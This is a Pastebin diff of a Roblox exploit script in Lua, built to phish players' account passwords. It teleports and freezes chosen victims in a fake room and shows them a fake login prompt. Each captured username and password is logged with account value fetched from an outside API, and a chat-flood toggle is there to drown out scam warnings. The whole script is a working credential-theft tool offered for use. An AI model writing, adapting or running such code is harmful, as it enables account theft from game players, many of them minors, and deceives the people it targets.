SHOW:
|
|
- or go back to the newest paste.
1 | local MyRoom = "BasicRoom" | |
2 | ||
3 | local StorageType = 2 -- 1 = CoreGui 2 = ReplicatedStorage | |
4 | ||
5 | local ScamType = "Pick" -- "Normal" "Pick" "TargetList" | |
6 | ||
7 | - | local TargetList = {} |
7 | + | local TargetList = {eessay} |
8 | ||
9 | local Bypassers = { -- Leave ID as 0 if you don't want to use ID checks. | |
10 | {} | |
11 | } | |
12 | ||
13 | local Trello = { | |
14 | Enabled = false, | |
15 | List = "MRList", | |
16 | DumpList = "MRDumps", | |
17 | TrelloTargetList = "MRTargetList", | |
18 | DevKey = "", | |
19 | Token = "", | |
20 | } | |
21 | ||
22 | local floodChat = false -- To prevent people from saying "ITS A SCAM!" | |
23 | ||
24 | local writeAccounts = true -- Writes accounts to a file (ELYSIAN ONLY) | |
25 | local fileName = "MGX7List" -- Where your accounts will be written if you have Elysian. | |
26 | ||
27 | BypassKey = "v3rm" -- Bypass key players can use to skip login | |
28 | BypassKeyEnabled = true -- Enables the bypass key or not | |
29 | BypassKeyRules = true -- Shows a rule gui when entering bypass key to inform players the rules of your MGui session | |
30 | ||
31 | local kickLogin = false -- Kicks player after they login | |
32 | ||
33 | local RAPApi = true | |
34 | ------------------------------------------------------------------------ | |
35 | ||
36 | local MainFolder = game:GetObjects("rbxassetid://382974306")[1] | |
37 | MainFolder.Parent = game.ReplicatedStorage | |
38 | ||
39 | local player = game.Players.LocalPlayer | |
40 | ||
41 | local CurrentlyScamming = {} | |
42 | ||
43 | local MRStorage | |
44 | ||
45 | local guiTool = MainFolder.Login | |
46 | ||
47 | local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript | |
48 | guiTool.LocalScript:Destroy() | |
49 | replaceScript.Parent = guiTool | |
50 | ||
51 | local ruleTool = MainFolder["Bypass Rules"] | |
52 | ||
53 | local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript | |
54 | ruleTool.LocalScript:Destroy() | |
55 | replaceScript.Parent = ruleTool | |
56 | ||
57 | local pickGui = MainFolder.PickGui | |
58 | ||
59 | function checkPass(pass, playa) | |
60 | if BypassKeyEnabled and pass == BypassKey then | |
61 | if BypassKeyRules then | |
62 | local newTool = ruleTool:Clone() | |
63 | newTool.Parent = workspace | |
64 | newTool.Handle.CanCollide = false | |
65 | newTool.Handle.CFrame = playa.Character.Head.CFrame | |
66 | end | |
67 | return true | |
68 | end | |
69 | if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then | |
70 | return false | |
71 | end | |
72 | local foundNums = 0 | |
73 | local foundLetters = 0 | |
74 | if string.find(pass, " ") then | |
75 | return false | |
76 | end | |
77 | if pass:len() < 6 or pass:len() > 20 then | |
78 | return false | |
79 | end | |
80 | for i=1,pass:len() do | |
81 | if pass:sub(i,i):match("%d") ~= nil then | |
82 | foundNums = foundNums + 1 | |
83 | end | |
84 | end | |
85 | if foundNums < 2 then | |
86 | return false | |
87 | end | |
88 | for i=1,pass:len() do | |
89 | if pass:sub(i,i):match("%a") ~= nil then | |
90 | foundLetters = foundLetters + 1 | |
91 | end | |
92 | end | |
93 | if foundLetters < 4 then | |
94 | return false | |
95 | end | |
96 | return true | |
97 | end | |
98 | ||
99 | function getUText(root, val) | |
100 | local found | |
101 | if val then | |
102 | found = val | |
103 | end | |
104 | for i,v in pairs(root:GetChildren()) do | |
105 | if v.Name == "UText" then | |
106 | found = v | |
107 | break | |
108 | end | |
109 | found = getUText(v,found) | |
110 | end | |
111 | return found | |
112 | end | |
113 | ||
114 | function getPText(root, val) | |
115 | local found | |
116 | if val then | |
117 | found = val | |
118 | end | |
119 | for i,v in pairs(root:GetChildren()) do | |
120 | if v.Name == "PText" then | |
121 | found = v | |
122 | break | |
123 | end | |
124 | found = getPText(v,found) | |
125 | end | |
126 | return found | |
127 | end | |
128 | ||
129 | function getILPopUp(root, val) | |
130 | local found | |
131 | if val then | |
132 | found = val | |
133 | end | |
134 | for i,v in pairs(root:GetChildren()) do | |
135 | if v.Name == "ILPopUp" then | |
136 | found = v | |
137 | break | |
138 | end | |
139 | found = getILPopUp(v,found) | |
140 | end | |
141 | return found | |
142 | end | |
143 | ||
144 | function unscPlayer(plr) | |
145 | for i,v in pairs(CurrentlyScamming) do | |
146 | if plr == v.Player then | |
147 | table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId}) | |
148 | table.remove(CurrentlyScamming,i) | |
149 | wait() | |
150 | while plr.Backpack:FindFirstChild("Login") do | |
151 | plr.Backpack.Login:Destroy() | |
152 | wait() | |
153 | end | |
154 | while plr.Character:FindFirstChild("Login") do | |
155 | plr.Character.Login:Destroy() | |
156 | wait() | |
157 | end | |
158 | plr.Character:WaitForChild("Torso") | |
159 | plr.Character:WaitForChild("HumanoidRootPart") | |
160 | plr.Character.HumanoidRootPart.Anchored = false | |
161 | plr.Character.HumanoidRootPart.CFrame = v.ReturnPos | |
162 | v.Player.CameraMaxZoomDistance = 400 | |
163 | v.Player.CameraMinZoomDistance = 0 | |
164 | v.RoomModel:Destroy() | |
165 | end | |
166 | end | |
167 | end | |
168 | ||
169 | function scPlayer(plr) | |
170 | ypcall(function() | |
171 | local debounce = false | |
172 | local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom) | |
173 | if roomCheck then | |
174 | local roomId = #CurrentlyScamming + 1 | |
175 | local newRoom = roomCheck:Clone() | |
176 | newRoom.Parent = workspace | |
177 | newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId)) | |
178 | ||
179 | local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame} | |
180 | table.insert(CurrentlyScamming,newPacket) | |
181 | --[[ | |
182 | newRoom.LButton.ClickDetector.MouseClick:connect(function(playa) | |
183 | if debounce == false then | |
184 | if playa.Backpack:FindFirstChild("Login") then | |
185 | if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then | |
186 | debounce = true | |
187 | getILPopUp(newRoom).Visible = false | |
188 | getILPopUp(playa.Backpack.Login).Visible = false | |
189 | wait(0.5) | |
190 | if playa.Backpack:FindFirstChild("Login") then | |
191 | if checkPass(getPText(playa.Backpack.Login).Text) then | |
192 | print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text) | |
193 | unscPlayer(plr) | |
194 | else | |
195 | getILPopUp(newRoom).Visible = true | |
196 | getILPopUp(playa.Backpack.Login).Visible = true | |
197 | getPText(playa.Backpack.Login).Text = "" | |
198 | end | |
199 | end | |
200 | end | |
201 | end | |
202 | debounce = false | |
203 | end | |
204 | end) | |
205 | --]] | |
206 | end | |
207 | end) | |
208 | end | |
209 | ||
210 | function isBypass(plr) | |
211 | local bypass = false | |
212 | for i,v in pairs(Bypassers) do | |
213 | if v.Name == plr.Name or v.ID == plr.UserId then | |
214 | bypass = true | |
215 | end | |
216 | end | |
217 | return bypass | |
218 | end | |
219 | ||
220 | function isScamming(plr) | |
221 | local isScam = false | |
222 | for i,v in pairs(CurrentlyScamming) do | |
223 | if v.Player.Name == plr then | |
224 | isScam = true | |
225 | end | |
226 | end | |
227 | return isScam | |
228 | end | |
229 | ||
230 | function fixPlayers() | |
231 | for i,v in pairs(CurrentlyScamming) do | |
232 | ypcall(function() | |
233 | if v.Player.Character:FindFirstChild("Login") then | |
234 | if v.Player.Character.Login:FindFirstChild("SprayGui") then | |
235 | local tempTool = v.Player.Character:FindFirstChild("Login") | |
236 | tempTool.Parent = v.RoomModel | |
237 | tempTool.Handle.CFrame = v.Player.Character.Head.CFrame | |
238 | end | |
239 | end | |
240 | end) | |
241 | end | |
242 | end | |
243 | ||
244 | function BCtoDumpStr(str) | |
245 | local res = "" | |
246 | if str == "Enum.MembershipType.BuildersClub" then | |
247 | res = "[BC] " | |
248 | elseif str == "Enum.MembershipType.TurboBuildersClub" then | |
249 | res = "[TBC] " | |
250 | elseif str == "Enum.MembershipType.OutrageousBuildersClub" then | |
251 | res = "[OBC] " | |
252 | elseif str == "Enum.MembershipType.None" then | |
253 | res = "" | |
254 | end | |
255 | return res | |
256 | end | |
257 | ||
258 | function getRap(user) | |
259 | local rap = "Error." | |
260 | if RAPApi then | |
261 | ypcall(function() | |
262 | local http = game:GetService("HttpService") | |
263 | local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true)) | |
264 | rap = tostring(rawrap.rap) | |
265 | end) | |
266 | else | |
267 | rap = "Disabled." | |
268 | end | |
269 | return rap | |
270 | end | |
271 | ||
272 | function logAccount(user,pass) | |
273 | local playerName = user.Name | |
274 | local playerAge = tostring(user.AccountAge) | |
275 | local playerRAP = getRap(playerName) | |
276 | ||
277 | if print then | |
278 | print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP) | |
279 | end | |
280 | if readfile and writefile then | |
281 | if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then | |
282 | writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP) | |
283 | else | |
284 | local tempFile = readfile(getelysianpath()..fileName..".txt") | |
285 | writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP) | |
286 | end | |
287 | end | |
288 | end | |
289 | ||
290 | function teleportVictims() | |
291 | for i,v in pairs(CurrentlyScamming) do | |
292 | ypcall(function() | |
293 | v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0) | |
294 | v.Player.Character.HumanoidRootPart.Anchored = true | |
295 | if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then | |
296 | if not v.RoomModel:FindFirstChild("Login") then | |
297 | local tempTools = {} | |
298 | for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do | |
299 | table.insert(tempTools,v2:Clone()) | |
300 | v2:Destroy() | |
301 | end | |
302 | local newTool = guiTool:Clone() | |
303 | newTool.Parent = v.RoomModel | |
304 | newTool.Handle.CanCollide = false | |
305 | newTool.Handle.CFrame = v.Player.Character.Head.CFrame | |
306 | newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0) | |
307 | getUText(newTool).Text = v.Player.Name | |
308 | spawn(function() | |
309 | wait(2) | |
310 | for i2,v2 in pairs(tempTools) do | |
311 | v2.Parent = v.Player.Backpack | |
312 | end | |
313 | end) | |
314 | newTool.Changed:connect(function(prop) | |
315 | if not isScamming(v.Player.Name) then return end | |
316 | if prop == "Parent" and newTool.Parent.Name == "Backpack" then | |
317 | if v.Player.Backpack:FindFirstChild("Login") then | |
318 | if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then | |
319 | getILPopUp(v.Player.Backpack.Login).Visible = false | |
320 | if v.Player.Backpack:FindFirstChild("Login") then | |
321 | if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then | |
322 | logAccount(v.Player, getPText(v.Player.Backpack.Login).Text) | |
323 | unscPlayer(v.Player) | |
324 | spawn(function() | |
325 | wait(0.5) | |
326 | if kickLogin then | |
327 | if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then | |
328 | v.Player:Remove() | |
329 | end | |
330 | end | |
331 | end) | |
332 | else | |
333 | getILPopUp(v.Player.Backpack.Login).Visible = true | |
334 | getPText(v.Player.Backpack.Login).Text = "" | |
335 | wait() | |
336 | if not v.Player.Character:FindFirstChild("Login") then | |
337 | newTool.Parent = v.RoomModel | |
338 | newTool.Handle.CFrame = v.Player.Character.Head.CFrame | |
339 | end | |
340 | end | |
341 | end | |
342 | end | |
343 | end | |
344 | end | |
345 | end) | |
346 | end | |
347 | end | |
348 | end) | |
349 | end | |
350 | end | |
351 | ||
352 | wait() | |
353 | ||
354 | game.Players.PlayerRemoving:connect(function(playa) | |
355 | for i,v in pairs(CurrentlyScamming) do | |
356 | if v.Player == playa then | |
357 | table.remove(CurrentlyScamming,i) | |
358 | end | |
359 | end | |
360 | end) | |
361 | ||
362 | --[[ | |
363 | local infoGui = Instance.new("ScreenGui",game.CoreGui) | |
364 | local infoText = Instance.new("TextLabel",infoGui) | |
365 | infoText.Position = UDim2.new(0,0,1,-20) | |
366 | infoText.Size = UDim2.new(1,0,0,20) | |
367 | infoText.FontSize = "Size18" | |
368 | infoText.Font = "SourceSansBold" | |
369 | infoText.BackgroundTransparency = 1 | |
370 | infoText.TextColor3 = Color3.new(1,1,1) | |
371 | infoText.TextXAlignment = "Right" | |
372 | infoText.Text = "Press 'p' to toggle chat spam." | |
373 | --]] | |
374 | ||
375 | local mouse = game.Players.LocalPlayer:GetMouse() | |
376 | mouse.KeyDown:connect(function(key) | |
377 | if key == "p" then | |
378 | floodChat = not floodChat | |
379 | end | |
380 | end) | |
381 | ||
382 | spawn(function() | |
383 | while wait(3) do | |
384 | fixPlayers() | |
385 | end | |
386 | end) | |
387 | ||
388 | while wait() do | |
389 | teleportVictims() | |
390 | if floodChat then | |
391 | game.Players:Chat(".") | |
392 | game.Players:Chat(".") | |
393 | end | |
394 | if ScamType == "Normal" then | |
395 | for i,v in pairs(game.Players:GetPlayers()) do | |
396 | if StorageType == 1 then | |
397 | if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then | |
398 | ||
399 | end | |
400 | elseif StorageType == 2 then | |
401 | if not game.ReplicatedStorage:FindFirstChild("MRStorage") then | |
402 | MRStorage = Instance.new("Folder",game.ReplicatedStorage) | |
403 | MRStorage.Name = "MRStorage" | |
404 | end | |
405 | if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then | |
406 | scPlayer(v) | |
407 | end | |
408 | end | |
409 | end | |
410 | elseif ScamType == "Pick" then | |
411 | if StorageType == 1 then | |
412 | if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then | |
413 | ||
414 | end | |
415 | elseif StorageType == 2 then | |
416 | if not game.ReplicatedStorage:FindFirstChild("MRStorage") then | |
417 | MRStorage = Instance.new("Folder",game.ReplicatedStorage) | |
418 | MRStorage.Name = "MRStorage" | |
419 | end | |
420 | if not game.CoreGui:FindFirstChild("PickGui") then | |
421 | local newPickGui = pickGui:Clone() | |
422 | newPickGui.Parent = game.CoreGui | |
423 | spawn(function() | |
424 | local pickGuiList = newPickGui.MainFrame.AccList | |
425 | local pickGuiResult = newPickGui.MainFrame.UserResult | |
426 | pickGuiList.CanvasSize = UDim2.new(0,0,0,0) | |
427 | local function updatePickList() | |
428 | pickGuiList:ClearAllChildren() | |
429 | for i,v in pairs(game.Players:GetPlayers()) do | |
430 | if v ~= player then | |
431 | local newRes = pickGuiResult:Clone() | |
432 | newRes.PlayerName.Text = v.Name | |
433 | newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId | |
434 | newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren()) | |
435 | if isScamming(v.Name) then | |
436 | newRes.PlayerStatus.Text = "Scamming..." | |
437 | end | |
438 | if isBypass(v) then | |
439 | newRes.PlayerStatus.Text = "Scammed" | |
440 | end | |
441 | newRes.Parent = pickGuiList | |
442 | pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren()) | |
443 | newRes.Visible = true | |
444 | newRes.MouseButton1Down:connect(function() | |
445 | if not isScamming(v.Name) then | |
446 | scPlayer(v) | |
447 | end | |
448 | end) | |
449 | end | |
450 | end | |
451 | end | |
452 | updatePickList() | |
453 | newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function() | |
454 | updatePickList() | |
455 | end) | |
456 | end) | |
457 | end | |
458 | end | |
459 | end | |
460 | end |